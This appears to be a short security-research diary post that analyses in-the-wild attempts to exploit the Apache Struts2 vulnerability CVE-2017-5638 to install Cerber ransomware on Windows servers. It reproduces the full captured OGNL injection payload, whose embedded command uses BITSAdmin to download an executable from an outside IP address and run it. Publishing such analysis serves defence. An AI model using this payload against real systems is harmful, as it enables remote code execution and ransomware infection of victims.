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Since about a month, we are tracking numerous attempts to exploit the Java Struts2 vulnerability (CVE-2017-5638). Typically, the exploits targeted Unix systems with simple Perl backdoors and bots. But recently, I saw a number of exploit attempts targeting Windows systems using a variant of the Cerber ransomware.

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='BITSAdmin.exe /Transfer JOB hxxp://82[.]165[.]129[.]119/UnInstall.exe %TEMP%/UnInstall.exe & %TEMP%/UnInstall.exe').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

The command executed by the exploit as shown above:

1. The script uses BITSAdmin to download the malware (I obfuscated the URL above.
2. The malware ("UnInstall.exe") is saved in the %TEMP% directory
3. finally, the malware is executed.

Virustotal shows pretty good coverage for this malware by now:

The malware reaches out to btc.blockr.io to retrieve a bitcoin wallet address for the money transfer. Encrypted files are renamed using random (encrypted) file names. 

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Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
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